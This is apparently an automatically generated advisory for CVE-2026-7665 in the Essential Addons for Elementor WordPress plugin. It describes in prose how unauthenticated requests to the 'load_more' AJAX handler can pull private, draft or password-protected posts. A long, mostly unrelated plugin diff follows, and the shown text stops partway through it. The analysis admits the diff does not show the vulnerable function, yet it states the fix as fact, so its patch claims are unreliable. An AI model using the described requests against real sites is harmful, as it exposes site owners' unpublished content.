Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 11, 2026

CVE-2026-7665: Essential Addons for Elementor <= 6.6.4 Missing Authorization to Unauthenticated Information Exposure via 'load_more' AJAX Handler PoC, Patch Analysis & Rule

CVE ID CVE-2026-7665
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 6.6.4
Patched Version 6.6.5
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7665:
This vulnerability affects the Essential Addons for Elementor plugin for WordPress, versions up to and including 6.6.4. It allows unauthenticated attackers to extract information from password-protected, private, or draft posts via the ‘load_more’ AJAX handler. The CVSS score is 5.3 (Medium).

The root cause lies in the `ajax_load_more` function within the plugin. The vulnerability is classified under CWE-639 (Authorization Bypass Through User-Controlled Key). The function fails to perform proper authorization checks before including posts in the AJAX response. It does not verify if the requesting user has permission to view protected, private, or draft posts. The code diff does not directly show the vulnerable function, but the version bump from 6.6.4 to 6.6.5 indicates the fix is present in the updated version. The vulnerability allows attackers to manipulate parameters like `post_status` or `post_type` to include restricted content.

An attacker can exploit this by sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `load_more`. The attacker can include additional parameters to specify `post_status` values such as `private`, `draft`, or `password` to retrieve posts that should not be publicly accessible. The lack of a capability check means the AJAX handler does not call `current_user_can()` or similar authorization functions before querying posts. This allows enumeration and extraction of sensitive content.

The patch in version 6.6.5 likely adds capability checks within the `ajax_load_more` function. The version number change in both the plugin header and the `EAEL_PLUGIN_VERSION` constant confirms the update. While the diff shows many other changes (OTP verification, styling fixes), the core fix for this CVE involves ensuring that the AJAX handler only returns posts the requesting user is authorized to view. The patched function now verifies post permissions before including them in the response.

The impact is information exposure. An unauthenticated attacker can read the content of password-protected, private, or draft posts. This could expose sensitive data, unpublished content, or draft revisions. While this does not allow remote code execution or privilege escalation, it violates the confidentiality of the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/essential-addons-for-elementor-lite/essential_adons_elementor.php
+++ b/essential-addons-for-elementor-lite/essential_adons_elementor.php
@@ -4,7 +4,7 @@
  * Description: The Essential plugin you install after Elementor! Packed with 100+ stunning elements like Data Table, Event Calendar, Filterable Gallery, WooCommerce.
  * Plugin URI: https://essential-addons.com/
  * Author: WPDeveloper
- * Version: 6.6.4
+ * Version: 6.6.5
  * Author URI: https://wpdeveloper.com/
  * Text Domain: essential-addons-for-elementor-lite
  * Domain Path: /languages
@@ -27,7 +27,7 @@
 define( 'EAEL_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
 define( 'EAEL_PLUGIN_PATH', trailingslashit( plugin_dir_path( __FILE__ ) ) );
 define( 'EAEL_PLUGIN_URL', trailingslashit( plugins_url( '/', __FILE__ ) ) );
-define( 'EAEL_PLUGIN_VERSION', '6.6.4' );
+define( 'EAEL_PLUGIN_VERSION', '6.6.5' );
 define( 'EAEL_ASSET_PATH', wp_upload_dir()['basedir'] . '/essential-addons-elementor' );
 define( 'EAEL_ASSET_URL', wp_upload_dir()['baseurl'] . '/essential-addons-elementor' );
 /**
--- a/essential-addons-for-elementor-lite/includes/Classes/Bootstrap.php
+++ b/essential-addons-for-elementor-lite/includes/Classes/Bootstrap.php
@@ -197,6 +197,15 @@
         add_action('init', [$this, 'login_or_register_user']);
         add_filter('wp_new_user_notification_email', array($this, 'new_user_notification_email'), 10, 3);
         add_filter('wp_new_user_notification_email_admin', array($this, 'new_user_notification_email_admin'), 10, 3);
+
+        // Email OTP Verification (Login | Register)
+        add_action('wp_ajax_eael_lr_send_otp',        [$this, 'eael_ajax_send_otp']);
+        add_action('wp_ajax_nopriv_eael_lr_send_otp', [$this, 'eael_ajax_send_otp']);
+        add_action('wp_ajax_eael_lr_verify_otp',        [$this, 'eael_ajax_verify_otp']);
+        add_action('wp_ajax_nopriv_eael_lr_verify_otp', [$this, 'eael_ajax_verify_otp']);
+
+        // Flag unverified OTP register users in wp-admin → Users.
+        add_action('admin_footer-users.php', [$this, 'eael_lr_otp_pending_user_flag']);
         add_action( 'init', [$this, 'eael_redirect_to_reset_password'] );

         if( 'on' === get_option( 'eael_custom_profile_fields' ) ){
--- a/essential-addons-for-elementor-lite/includes/Classes/Helper.php
+++ b/essential-addons-for-elementor-lite/includes/Classes/Helper.php
@@ -1024,6 +1024,27 @@
             printf('<%1$s class="eael-product-quick-view-title product_title entry-title">%2$s</%1$s>',esc_html( $tag ), wp_kses( get_the_title(), Helper::eael_allowed_tags() ));
         }, 5 );

+        // Quick View Buy Now button — rendered inside form.cart via woocommerce_after_add_to_cart_button hook
+        $qv_buy_now_enabled = isset( $settings['eael_product_carousel_qv_buy_now'] ) && 'yes' === $settings['eael_product_carousel_qv_buy_now'];
+        if ( $qv_buy_now_enabled && $product->is_purchasable() && $product->is_in_stock() ) {
+            $qv_buy_now_text = ! empty( $settings['eael_product_carousel_qv_buy_now_text'] ) ? $settings['eael_product_carousel_qv_buy_now_text'] : '';
+            $qv_buy_now_icon = ! empty( $settings['eael_product_carousel_qv_buy_now_icon'] ) ? $settings['eael_product_carousel_qv_buy_now_icon'] : [];
+            $qv_checkout_url = wc_get_checkout_url();
+
+            add_action( 'woocommerce_after_add_to_cart_button', function () use ( $qv_buy_now_text, $qv_buy_now_icon, $qv_checkout_url ) {
+                ?>
+                <button type="button" class="eael-popup-buy-now-button" data-checkout-url="<?php echo esc_url( $qv_checkout_url ); ?>" aria-label="<?php echo esc_attr( $qv_buy_now_text ? $qv_buy_now_text : __( 'Buy Now', 'essential-addons-for-elementor-lite' ) ); ?>">
+                    <?php if ( ! empty( $qv_buy_now_icon['value'] ) ) {
+                        Icons_Manager::render_icon( $qv_buy_now_icon, [ 'aria-hidden' => 'true' ] );
+                    } ?>
+                    <?php if ( ! empty( $qv_buy_now_text ) ) { ?>
+                        <span class="eael-buy-now-text"><?php echo esc_html( $qv_buy_now_text ); ?></span>
+                    <?php } ?>
+                </button>
+                <?php
+            } );
+        }
+
         $popup_classes = array();

         if ( isset( $settings['eael_product_quick_view_hide_categories'] ) && 'yes' === $settings['eael_product_quick_view_hide_categories'] ) {
--- a/essential-addons-for-elementor-lite/includes/Elements/Business_Reviews.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Business_Reviews.php
@@ -137,7 +137,7 @@
 				'raw' => sprintf(
 					/* translators: %s: Link to Business Reviews Settings page. */
 					__( 'Google Place API key is missing. Please add it from EA Dashboard » Elements » %s', 'essential-addons-for-elementor-lite' ),
-					'<a href="' . esc_url( site_url( '/wp-admin/admin.php?page=eael-settings' ) ) . '" target="_blank">' . esc_html__( 'Business Reviews Settings', 'essential-addons-for-elementor-lite' ) . '</a>'
+					'<a href="' . esc_url( site_url( '/wp-admin/admin.php?page=eael-settings#/elements/business-reviews' ) ) . '" target="_blank">' . esc_html__( 'Business Reviews Settings', 'essential-addons-for-elementor-lite' ) . '</a>'
 				),
 				'content_classes' => 'eael-warning',
 				'condition'       => [
--- a/essential-addons-for-elementor-lite/includes/Elements/Creative_Button.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Creative_Button.php
@@ -558,6 +558,14 @@
             [
                 'name'      => 'eael_creative_button_gradient_background',
                 'types'     => ['gradient', 'classic'],
+                'fields_options' => [
+                    'background' => [
+                        'default' => 'gradient',
+                    ],
+                    'color' => [
+                        'default' => '#7A3CFF',
+                    ],
+                ],
                 'selector'  => apply_filters( 'eael_creative_button/normal/gradient_background/selector', $eael_creative_button_gradient_background_selector ),
                 'condition' => [
                     'use_gradient_background' => 'yes',
--- a/essential-addons-for-elementor-lite/includes/Elements/Dual_Color_Header.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Dual_Color_Header.php
@@ -703,7 +703,10 @@
 				'label' => esc_html__('First Color', 'essential-addons-for-elementor-lite'),
 				'type' => Controls_Manager::COLOR,
 				'default' => '#062ACA',
-				'condition' => [
+                'selectors' => [
+                    '{{WRAPPER}} .eael-dual-header .eael-dch-title .gradient-color' => '--eael-dch-gradient-1: {{VALUE}};',
+                ],
+                'condition' => [
 					'eael_dch_dual_color_selector' => 'gradient-color',
 					'eael_dch_enable_multiple_titles!' => 'yes'
 				],
@@ -716,7 +719,10 @@
 				'label' => esc_html__('Second Color', 'essential-addons-for-elementor-lite'),
 				'type' => Controls_Manager::COLOR,
 				'default' => '#9401D9',
-				'condition' => [
+                'selectors' => [
+                    '{{WRAPPER}} .eael-dual-header .eael-dch-title .gradient-color' => '--eael-dch-gradient-2: {{VALUE}};',
+                ],
+                'condition' => [
 					'eael_dch_dual_color_selector' => 'gradient-color',
 					'eael_dch_enable_multiple_titles!' => 'yes'
 				],
@@ -1080,13 +1086,6 @@
 	protected function render()
 	{
 		$settings = $this->get_settings_for_display();
-        $gradient_style = '';
-		$has_gradient = $settings['eael_dch_dual_title_color_gradient_first']  && $settings['eael_dch_dual_title_color_gradient_second'];
-        if ( $has_gradient ) {
-            $gradient_1 = Helper::eael_fetch_color_or_global_color($settings, 'eael_dch_dual_title_color_gradient_first');
-            $gradient_2 = Helper::eael_fetch_color_or_global_color($settings, 'eael_dch_dual_title_color_gradient_second');
-            $gradient_style = 'background: linear-gradient('. esc_attr( $gradient_1 ) . ', '. esc_attr( $gradient_2 ) .');';
-        };
 		$icon_migrated = isset($settings['__fa4_migrated']['eael_dch_icon_new']);
 		$icon_is_new = empty($settings['eael_dch_icon']);
 		// separator
@@ -1114,9 +1113,6 @@
 			}
 		} else {
 			$title_html .= '<span';
-			if( $has_gradient ){
-				$title_html .= ' style="' . $gradient_style . '" ';
-			}
 			$title_html .= ' class="eael-dch-title-text eael-dch-title-lead lead ' . $settings['eael_dch_dual_color_selector'] . '">' . $settings['eael_dch_first_title'] . '</span>';
 			$title_html .= ' <span class="eael-dch-title-text">' . $settings['eael_dch_last_title'] . '</span>';
 		}
--- a/essential-addons-for-elementor-lite/includes/Elements/Event_Calendar.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Event_Calendar.php
@@ -4348,6 +4348,8 @@
                     'allDay'         => $all_day,
                     'external'       => 'on',
                     'nofollow'       => 'on',
+                    'google_event_id'=> $item->id,
+                    'backgroundColor'=> '',
                 ];
             }

--- a/essential-addons-for-elementor-lite/includes/Elements/Login_Register.php
+++ b/essential-addons-for-elementor-lite/includes/Elements/Login_Register.php
@@ -331,6 +331,7 @@
 		$this->init_style_login_recaptcha_controls();
 		$this->init_style_register_recaptcha_controls();
 		$this->init_style_lostpassword_recaptcha_controls();
+		$this->init_style_otp_controls();
 		do_action( 'eael/login-register/animated-character-style-controls', $this );
 		do_action( 'eael/login-register/after-style-controls', $this );

@@ -876,7 +877,7 @@
 				'content' 		  => sprintf(
 					/* translators: %1$s: Opening HTML link tag, %2$s: Closing HTML link tag. */
 					__( 'Please add them from %1$sDashboard >> Essential Addons >> Elements >> Login | Register Form%2$s Settings', 'essential-addons-for-elementor-lite' ),
-					'<a href="' . esc_url( site_url( '/wp-admin/admin.php?page=eael-settings' ) ) . '" target="_blank"><strong>',
+					'<a href="' . esc_url( site_url( '/wp-admin/admin.php?page=eael-settings#/elements/login-register' ) ) . '" target="_blank"><strong>',
 					'</strong></a>'
 				),
 				'condition'       => [
@@ -895,7 +896,7 @@
 				'content' 		  => sprintf(
 					/* translators: %1$s: Opening HTML link tag, %2$s: Closing HTML link tag. */
 					__( 'Please add them from %1$sDashboard >> Essential Addons >> Elements >> Login | Register Form%2$s Settings', 'essential-addons-for-elementor-lite' ),
-					'<a href="' . esc_url( site_url( '/wp-admin/admin.php?page=eael-settings' ) ) . '" target="_blank"><strong>',
+					'<a href="' . esc_url( site_url( '/wp-admin/admin.php?page=eael-settings#/elements/login-register' ) ) . '" target="_blank"><strong>',
 					'</strong></a>'
 				),
 				'condition'       => [
@@ -996,7 +997,7 @@
 				'content' 	  => sprintf(
 					/* translators: %1$s: Opening HTML link tag, %2$s: Closing HTML link tag. */
 					__( 'Please add it from %1$sDashboard >> Essential Addons >> Elements >> Login | Register Form%2$s Settings', 'essential-addons-for-elementor-lite' ),
-					'<a href="' . esc_url( site_url( '/wp-admin/admin.php?page=eael-settings' ) ) . '" target="_blank"><strong>',
+					'<a href="' . esc_url( site_url( '/wp-admin/admin.php?page=eael-settings#/elements/login-register' ) ) . '" target="_blank"><strong>',
 					'</strong></a>'
 				),
 				'condition'       => [
@@ -1862,9 +1863,271 @@
 			'separator'   => 'before',
 		] );

+		$this->_init_otp_controls( 'login' );
+
 		$this->end_controls_section();
 	}

+	/**
+	 * Email OTP Verification controls — shared between login and register sections.
+	 *
+	 * @param string $form_type 'login' or 'register'
+	 */
+	protected function _init_otp_controls( $form_type = 'login' ) {
+		$prefix          = $form_type; // login | register
+		$default_subject = sprintf(
+			/* translators: %s: Site Name */
+			__( 'Your verification code for %s', 'essential-addons-for-elementor-lite' ),
+			get_option( 'blogname' )
+		);
+		$default_message  = __( 'Hello,', 'essential-addons-for-elementor-lite' ) . "rnrn";
+		$default_message .= __( 'Your one-time verification code is: [otp_code]', 'essential-addons-for-elementor-lite' ) . "rnrn";
+		$default_message .= __( 'This code will expire in [otp_expiry] minutes.', 'essential-addons-for-elementor-lite' ) . "rnrn";
+		$default_message .= __( 'You can return to the verification screen here: [direct_login_url]', 'essential-addons-for-elementor-lite' ) . "rnrn";
+		$default_message .= __( 'If you did not request this code, you can safely ignore this email.', 'essential-addons-for-elementor-lite' ) . "rnrn";
+		$default_message .= __( 'Thanks,', 'essential-addons-for-elementor-lite' ) . "rn";
+		$default_message .= '[sitetitle]';
+
+		$this->add_control( "enable_{$prefix}_otp_heading", [
+			'label'     => __( 'Email OTP Verification', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::HEADING,
+			'separator' => 'before',
+		] );
+
+		$this->add_control( "enable_{$prefix}_otp", [
+			'label'        => 'login' === $form_type
+				? __( 'Enable OTP for Login', 'essential-addons-for-elementor-lite' )
+				: __( 'Enable OTP for Registration', 'essential-addons-for-elementor-lite' ),
+			'description'  => __( 'Require an email-based one-time password before completing this action.', 'essential-addons-for-elementor-lite' ),
+			'type'         => Controls_Manager::SWITCHER,
+			'label_on'     => __( 'Yes', 'essential-addons-for-elementor-lite' ),
+			'label_off'    => __( 'No', 'essential-addons-for-elementor-lite' ),
+			'return_value' => 'yes',
+			'default'      => '',
+		] );
+
+		$this->add_control( "{$prefix}_otp_expiry", [
+			'label'       => __( 'OTP Expiry Time (minutes)', 'essential-addons-for-elementor-lite' ),
+			'type'        => Controls_Manager::NUMBER,
+			'min'         => 1,
+			'max'         => 60,
+			'step'        => 1,
+			'default'     => 5,
+			'condition'   => [
+				"enable_{$prefix}_otp" => 'yes',
+			],
+		] );
+
+		$this->add_control( "{$prefix}_otp_resend_cooldown", [
+			'label'       => __( 'Resend Cooldown (seconds)', 'essential-addons-for-elementor-lite' ),
+			'description' => __( 'Minimum number of seconds before a user can request a new OTP.', 'essential-addons-for-elementor-lite' ),
+			'type'        => Controls_Manager::NUMBER,
+			'min'         => 15,
+			'max'         => 600,
+			'step'        => 5,
+			'default'     => 60,
+			'condition'   => [
+				"enable_{$prefix}_otp" => 'yes',
+			],
+		] );
+
+		$this->add_control( "{$prefix}_otp_email_subject", [
+			'label'       => __( 'Email Subject', 'essential-addons-for-elementor-lite' ),
+			'type'        => Controls_Manager::TEXT,
+			'placeholder' => $default_subject,
+			'default'     => $default_subject,
+			'label_block' => true,
+			'render_type' => 'none',
+			'condition'   => [
+				"enable_{$prefix}_otp" => 'yes',
+			],
+			'ai' => [
+				'active' => true,
+			],
+		] );
+
+		$this->add_control( "{$prefix}_otp_email_message", [
+			'label'       => __( 'Email Message', 'essential-addons-for-elementor-lite' ),
+			'type'        => Controls_Manager::WYSIWYG,
+			'placeholder' => __( 'Enter Your Custom Email Message..', 'essential-addons-for-elementor-lite' ),
+			'default'     => $default_message,
+			'label_block' => true,
+			'render_type' => 'none',
+			'condition'   => [
+				"enable_{$prefix}_otp" => 'yes',
+			],
+		] );
+
+		$this->add_control( "{$prefix}_otp_email_content_note", [
+			'type'            => Controls_Manager::RAW_HTML,
+			'raw'             => __( '<strong>Note:</strong> Available tags are: [otp_code], [otp_expiry], [email], [sitetitle], [direct_login_url]. In HTML emails [direct_login_url] expands to a clickable link; in plain emails it expands to the bare URL. The link automatically carries an <code>?eael_otp=<token></code> query arg so it works from any browser or device.', 'essential-addons-for-elementor-lite' ),
+			'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
+			'condition'       => [
+				"enable_{$prefix}_otp" => 'yes',
+			],
+			'render_type'     => 'none',
+		] );
+
+		$this->add_control( "{$prefix}_otp_email_content_type", [
+			'label'       => __( 'Email Content Type', 'essential-addons-for-elementor-lite' ),
+			'type'        => Controls_Manager::SELECT,
+			'default'     => 'html',
+			'render_type' => 'none',
+			'options'     => [
+				'html'  => __( 'HTML', 'essential-addons-for-elementor-lite' ),
+				'plain' => __( 'Plain', 'essential-addons-for-elementor-lite' ),
+			],
+			'condition'   => [
+				"enable_{$prefix}_otp" => 'yes',
+			],
+		] );
+
+		$this->add_control( "{$prefix}_otp_title_text", [
+			'label'       => __( 'OTP Form Title', 'essential-addons-for-elementor-lite' ),
+			'type'        => Controls_Manager::TEXT,
+			'default'     => __( 'Verify Your Email', 'essential-addons-for-elementor-lite' ),
+			'label_block' => true,
+			'condition'   => [
+				"enable_{$prefix}_otp" => 'yes',
+			],
+		] );
+
+		$this->add_control( "{$prefix}_otp_subtitle_text", [
+			'label'       => __( 'OTP Form Subtitle', 'essential-addons-for-elementor-lite' ),
+			'type'        => Controls_Manager::TEXTAREA,
+			'default'     => __( 'We have sent a 6-digit verification code to your email. Please enter it below to continue.', 'essential-addons-for-elementor-lite' ),
+			'label_block' => true,
+			'condition'   => [
+				"enable_{$prefix}_otp" => 'yes',
+			],
+		] );
+
+		$this->add_control( "{$prefix}_otp_verify_button_text", [
+			'label'       => __( 'Verify Button Text', 'essential-addons-for-elementor-lite' ),
+			'type'        => Controls_Manager::TEXT,
+			'default'     => __( 'Verify', 'essential-addons-for-elementor-lite' ),
+			'condition'   => [
+				"enable_{$prefix}_otp" => 'yes',
+			],
+		] );
+
+		$this->add_control( "{$prefix}_otp_resend_text", [
+			'label'       => __( 'Resend Link Text', 'essential-addons-for-elementor-lite' ),
+			'type'        => Controls_Manager::TEXT,
+			'default'     => __( 'Resend Code', 'essential-addons-for-elementor-lite' ),
+			'condition'   => [
+				"enable_{$prefix}_otp" => 'yes',
+			],
+		] );
+
+		// Register-only: an admin-side switcher that flips OTP register behavior to
+		// "create user immediately + mark as pending until verified", and surfaces the
+		// flag in wp-admin → Users.
+		if ( 'register' === $prefix ) {
+			$users_list_link  = esc_url( admin_url( 'users.php' ) );
+			$flag_description = sprintf(
+				/* translators: %1$s: link to wp-admin users.php */
+				__( 'When enabled, new sign-ups are created immediately and marked as <em>email verification pending</em>. Pending users appear with a flag at <a href="%1$s" target="_blank" rel="noopener">%1$s</a>. The flag is removed automatically on successful OTP verification.', 'essential-addons-for-elementor-lite' ),
+				$users_list_link
+			);
+
+			$this->add_control( 'register_otp_show_user_flag', [
+				'label'        => __( 'Show Flag on User list', 'essential-addons-for-elementor-lite' ),
+				'description'  => $flag_description,
+				'type'         => Controls_Manager::SWITCHER,
+				'label_on'     => __( 'Yes', 'essential-addons-for-elementor-lite' ),
+				'label_off'    => __( 'No', 'essential-addons-for-elementor-lite' ),
+				'return_value' => 'yes',
+				'default'      => '',
+				'separator'    => 'before',
+				'condition'    => [
+					"enable_{$prefix}_otp" => 'yes',
+				],
+			] );
+		}
+	}
+
+	/**
+	 * Returns the active OTP flow ('login' | 'register') for this widget on the current request,
+	 * or empty string if no OTP challenge is in flight.
+	 *
+	 * Sources, in priority order:
+	 *   1. Editor "Preview OTP Field" switcher (editor only) — register wins if both are on.
+	 *   2. ?eael_otp=<token>&eael_otp_flow=<login|register> URL params (clicked email link).
+	 *   3. eael_lr_otp_token_<wid> cookie (same-device fallback).
+	 *
+	 * When this returns non-empty, EVERY form section other than the matching one must be
+	 * suppressed so the user only sees the OTP wrapper.
+	 *
+	 * @return string '' | 'login' | 'register'
+	 */
+	protected function eael_otp_active_flow() {
+		// Editor preview — only honored inside the editor canvas. Single global switcher
+		// (`otp_preview`) drives both login and register; we resolve which form's OTP UI to
+		// reveal by picking the currently-visible form (default form first, then any form
+		// with OTP enabled).
+		if ( $this->in_editor && ! empty( $this->ds['otp_preview'] ) && 'yes' === $this->ds['otp_preview'] ) {
+			$default          = isset( $this->ds['default_form_type'] ) ? $this->ds['default_form_type'] : '';
+			$login_enabled    = ! empty( $this->ds['enable_login_otp'] ) && 'yes' === $this->ds['enable_login_otp'];
+			$register_enabled = ! empty( $this->ds['enable_register_otp'] ) && 'yes' === $this->ds['enable_register_otp'];
+
+			if ( 'register' === $default && $register_enabled ) {
+				return 'register';
+			}
+			if ( 'login' === $default && $login_enabled ) {
+				return 'login';
+			}
+			if ( $register_enabled ) {
+				return 'register';
+			}
+			if ( $login_enabled ) {
+				return 'login';
+			}
+		}
+
+		//phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		if ( ! empty( $_GET['eael_otp'] ) && ! empty( $_GET['eael_otp_flow'] ) ) {
+			//phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			$flow = sanitize_text_field( wp_unslash( $_GET['eael_otp_flow'] ) );
+			if ( 'login' === $flow || 'register' === $flow ) {
+				return $flow;
+			}
+		}
+
+		$cookie_name = 'eael_lr_otp_token_' . $this->get_id();
+		if ( ! empty( $_COOKIE[ $cookie_name ] ) ) {
+			$cookie_value = sanitize_text_field( wp_unslash( $_COOKIE[ $cookie_name ] ) );
+			if ( strpos( $cookie_value, '|' ) !== false ) {
+				list( , $cookie_flow ) = array_map( 'sanitize_text_field', explode( '|', $cookie_value, 2 ) );
+				if ( 'login' === $cookie_flow || 'register' === $cookie_flow ) {
+					return $cookie_flow;
+				}
+			}
+		}
+
+		return '';
+	}
+
+	/**
+	 * Should the OTP UI be force-shown for this form on the current request?
+	 *
+	 * Returns true when:
+	 *   - the user is in the Elementor editor and toggled the Preview switcher on, OR
+	 *   - a non-AJAX OTP challenge is in flight (the OTP cookie is present for this widget+flow).
+	 *
+	 * The Preview switcher is intentionally honored only inside the editor, so even if the
+	 * value is persisted in the database it has zero effect on the live frontend.
+	 *
+	 * @param string $form_type 'login' or 'register'
+	 * @return bool
+	 */
+	protected function eael_otp_should_force_show( $form_type ) {
+		// The pending-registration intercept in log_user_in() sets an OTP cookie using flow='login'
+		// even when enable_login_otp is off. We must honour that cookie so the page-reload path
+		// (non-AJAX) also shows the OTP UI and prevents a flash of the login form.
+		return $this->eael_otp_active_flow() === $form_type;
+	}
+
 	public function eael_get_role_names() {

 		global $wp_roles;
@@ -2415,7 +2678,7 @@
 			'raw'  => sprintf(
 				/* translators: %s: Link to the Login Register Form Settings page. */
 				__( 'Select the type of fields you want to show in the registration form. You can enable custom fields from EA Dashboard » Elements » %s.', 'essential-addons-for-elementor-lite' ),
-				'<a href="' . esc_url( site_url('/wp-admin/admin.php?page=eael-settings') ) . '" target="_blank">Login Register Form Settings</a>'
+				'<a href="' . esc_url( site_url('/wp-admin/admin.php?page=eael-settings#/elements/login-register') ) . '" target="_blank">Login Register Form Settings</a>'
 			),
 			'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
 		] );
@@ -2737,6 +3000,8 @@
 			'separator' => 'before',
 		] );

+		$this->_init_otp_controls( 'register' );
+
 		$this->end_controls_section();
 	}

@@ -5374,6 +5639,218 @@
 	}

 	/**
+	 * Style controls for the Email OTP Verification UI.
+	 */
+	protected function init_style_otp_controls() {
+		$this->start_controls_section( 'section_style_otp', [
+			'label' => __( 'Email OTP Verification', 'essential-addons-for-elementor-lite' ),
+			'tab'   => Controls_Manager::TAB_STYLE,
+			'conditions' => [
+				'relation' => 'or',
+				'terms' => [
+					[
+						'name'     => 'enable_login_otp',
+						'value'    => 'yes',
+						'operator' => '===',
+					],
+					[
+						'name'     => 'enable_register_otp',
+						'value'    => 'yes',
+						'operator' => '===',
+					],
+				],
+			],
+		] );
+
+		/*
+		 * Editor-only preview switcher.
+		 *
+		 * Login and register share the same OTP UI component, so one switcher drives both.
+		 * `render_type => 'template'` re-renders the widget when toggled. The value is
+		 * persisted by Elementor but deliberately ignored on the live frontend
+		 * (see eael_otp_active_flow() — gated by `$this->in_editor`), so even though it's
+		 * saved to the database it has zero effect outside the editor canvas.
+		 *
+		 * In the editor canvas, when this is on, the OTP UI is revealed for whichever form
+		 * is currently visible: the configured default form first, then any form that has
+		 * its own OTP toggle on.
+		 */
+		$this->add_control( 'otp_preview', [
+			'label'        => __( 'Preview OTP Field', 'essential-addons-for-elementor-lite' ),
+			'description'  => __( 'Editor only — force the OTP verification field to be visible so you can style it without triggering a real email. Reveals the OTP UI on whichever form is currently visible. Has no effect on the live site.', 'essential-addons-for-elementor-lite' ),
+			'type'         => Controls_Manager::SWITCHER,
+			'label_on'     => __( 'On', 'essential-addons-for-elementor-lite' ),
+			'label_off'    => __( 'Off', 'essential-addons-for-elementor-lite' ),
+			'return_value' => 'yes',
+			'default'      => '',
+			'render_type'  => 'template',
+		] );
+
+		$this->add_responsive_control( 'otp_container_padding', [
+			'label'      => __( 'Container Padding', 'essential-addons-for-elementor-lite' ),
+			'type'       => Controls_Manager::DIMENSIONS,
+			'size_units' => [ 'px', 'em', '%' ],
+			'selectors'  => [
+				'{{WRAPPER}} .eael-lr-otp-wrapper' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+			],
+		] );
+
+		$this->add_control( 'otp_container_bg', [
+			'label'     => __( 'Container Background', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::COLOR,
+			'selectors' => [
+				'{{WRAPPER}} .eael-lr-otp-wrapper' => 'background-color: {{VALUE}};',
+			],
+		] );
+
+		$this->add_group_control( Group_Control_Border::get_type(), [
+			'name'     => 'otp_container_border',
+			'selector' => '{{WRAPPER}} .eael-lr-otp-wrapper',
+		] );
+
+		$this->add_control( 'otp_title_heading', [
+			'label'     => __( 'Title', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::HEADING,
+			'separator' => 'before',
+		] );
+
+		$this->add_control( 'otp_title_color', [
+			'label'     => __( 'Title Color', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::COLOR,
+			'selectors' => [
+				'{{WRAPPER}} .eael-lr-otp-title' => 'color: {{VALUE}};',
+			],
+		] );
+
+		$this->add_group_control( Group_Control_Typography::get_type(), [
+			'name'     => 'otp_title_typography',
+			'selector' => '{{WRAPPER}} .eael-lr-otp-title',
+		] );
+
+		$this->add_control( 'otp_subtitle_heading', [
+			'label'     => __( 'Subtitle', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::HEADING,
+			'separator' => 'before',
+		] );
+
+		$this->add_control( 'otp_subtitle_color', [
+			'label'     => __( 'Subtitle Color', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::COLOR,
+			'selectors' => [
+				'{{WRAPPER}} .eael-lr-otp-subtitle' => 'color: {{VALUE}};',
+			],
+		] );
+
+		$this->add_group_control( Group_Control_Typography::get_type(), [
+			'name'     => 'otp_subtitle_typography',
+			'selector' => '{{WRAPPER}} .eael-lr-otp-subtitle',
+		] );
+
+		$this->add_control( 'otp_input_heading', [
+			'label'     => __( 'Input Field', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::HEADING,
+			'separator' => 'before',
+		] );
+
+		$this->add_control( 'otp_input_color', [
+			'label'     => __( 'Input Text Color', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::COLOR,
+			'selectors' => [
+				'{{WRAPPER}} .eael-lr-otp-input' => 'color: {{VALUE}};',
+			],
+		] );
+
+		$this->add_control( 'otp_input_bg', [
+			'label'     => __( 'Input Background', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::COLOR,
+			'selectors' => [
+				'{{WRAPPER}} .eael-lr-otp-input' => 'background-color: {{VALUE}};',
+			],
+		] );
+
+		$this->add_group_control( Group_Control_Typography::get_type(), [
+			'name'     => 'otp_input_typography',
+			'selector' => '{{WRAPPER}} .eael-lr-otp-input',
+		] );
+
+		$this->add_group_control( Group_Control_Border::get_type(), [
+			'name'     => 'otp_input_border',
+			'selector' => '{{WRAPPER}} .eael-lr-otp-input',
+		] );
+
+		$this->add_responsive_control( 'otp_input_padding', [
+			'label'      => __( 'Input Padding', 'essential-addons-for-elementor-lite' ),
+			'type'       => Controls_Manager::DIMENSIONS,
+			'size_units' => [ 'px', 'em', '%' ],
+			'selectors'  => [
+				'{{WRAPPER}} .eael-lr-otp-input' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+			],
+		] );
+
+		$this->add_control( 'otp_button_heading', [
+			'label'     => __( 'Verify Button', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::HEADING,
+			'separator' => 'before',
+		] );
+
+		$this->add_control( 'otp_button_color', [
+			'label'     => __( 'Button Text Color', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::COLOR,
+			'selectors' => [
+				'{{WRAPPER}} .eael-lr-otp-verify-btn' => 'color: {{VALUE}};',
+			],
+		] );
+
+		$this->add_control( 'otp_button_bg', [
+			'label'     => __( 'Button Background', 'essential-addons-for-elementor-lite' ),
+			'type'      => Controls_Manager::COLOR,
+			'selectors' => [
+				'{{WRAPPER}} .eael-lr-otp-verify-btn' => 'background-color: {{VALUE}};',
+			],
+		] );
+
